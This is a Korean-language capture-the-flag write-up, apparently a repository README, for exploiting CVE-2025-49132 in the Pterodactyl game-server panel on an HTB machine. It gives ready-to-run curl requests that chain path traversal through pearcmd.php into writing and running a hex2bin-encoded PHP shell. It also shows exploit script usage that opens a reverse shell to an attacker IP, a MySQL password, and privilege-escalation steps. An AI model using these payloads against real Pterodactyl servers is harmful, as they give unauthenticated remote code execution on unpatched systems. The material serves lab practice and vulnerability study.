CVE-2025-49132 - Pterodactyl 패널 RCE 익스플로잇

HTB 시즌 10 - Pterodactyl 머신 라이트업

개요

대상: Pterodactyl HTB 머신 (중간 난이도)
CVE: CVE-2025-49132
심각도: 치명적 (CVSS 9.8)
공격 유형: 인증되지 않은 원격 코드 실행
영향: Pterodactyl 패널 < v1.11.11

이 익스플로잇 체인은 다음을 결합합니다:

경로 탐색 - 로케일 번역 시스템 내
PEAR 명령 주입 - pearcmd.php 경유
PHP 코드 실행 - 파일 쓰기 + include를 통해

버그

Pterodactyl 패널의 /locales/locale.json 엔드포인트는 locale 매개변수를 통한 경로 탐색을 허용합니다:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

이는 PEAR의 pearcmd.php와 연결하여 다음을 수행할 수 있습니다:

임의의 PHP 파일을 /tmp에 작성
다른 요청을 통해 해당 파일 실행

작동 원리

PEAR(PHP 확장 및 애플리케이션 저장소) 에는 다음과 같은 CLI 도구(pearcmd.php)가 있습니다:

URL 매개변수를 통해 명령을 허용합니다(CLI 전용으로 설계됨)
파일을 작성하는 config-create 명령이 있습니다
웹을 통해 호출할 때 인증이 없습니다

익스플로잇 체인:

Path Traversal → Load pearcmd.php → Inject PHP via config-create → Execute malicious PHP

Hex2bin() 트릭

명령은 hex2bin()을 사용하여 16진수로 인코딩되어 다음을 우회합니다:

URL 인코딩 문제
특수 문자 필터
Nginx/PHP 파싱 문제

예시:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

원격 코드 실행

방법 1: 제공된 exploit.sh 사용

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

방법 2: 수동 익스플로잇

# Step 1: Write PHP shell (hex-encoded "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"

# Step 2: Execute
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"

방법 3: Python 스크립트

I added exploit.py
**Install requests**

🛠️ 제공 도구

1. exploit.sh (권장)

모든 기능을 갖춘 bash 익스플로잇

./exploit.sh cmd "whoami"           # Execute single command
./exploit.sh shell 10.10.14.21 4444 # Reverse shell
./exploit.sh flag                   # Find user flag

기능:

안정성을 위한 Hex2bin() 인코딩
Python 기반 출력 필터링
여러 셸 방식 (bash TCP + mkfifo)
깔끔하고 파싱된 출력

2. CVE-2025-49132_DETAILED.txt

포괄적인 기술 문서

포함 내용:

취약점 심층 분석
PEAR 아키텍처 설명
단계별 익스플로잇 분석
문제 해결 가이드
탐지 방법 (IOC)
완화 전략

빠른 시작

# 1. Add to /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts

# 2. Download exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh

# 3. Get shell
nc -lvnp 4444  # Terminal 1
./exploit.sh shell 10.10.14.21 4444  # Terminal 2

# 4. Get user flag
cat /home/phileasfogg3/user.txt

권한 상승

열거

# Check running services
ss -tlnp

# Found:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25   - Postfix

# Check sudo
sudo -l
# (Likely requires password)

# SUID binaries
find / -perm -4000 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

일반적인 PrivEsc 벡터

알려진 자격 증명을 사용한 MySQL

mysql -u pterodactyl -pPteraPanel
# Check for UDF injection, file write perms

root로 실행되는 PHP-FPM

# Check for FPM exploitation (CVE-2019-11043 or config abuse)

Redis 익스플로잇

# Check for auth bypass, RCE via cron
redis-cli -h 127.0.0.1

cron에서 쓰기 가능한 스크립트 확인

find /etc/cron* -writable 2>/dev/null

커널 익스플로잇 (최후의 수단)

uname -a
# Check for DirtyCow, etc.

CVE-2025-49132_HTB_SEASON10

인기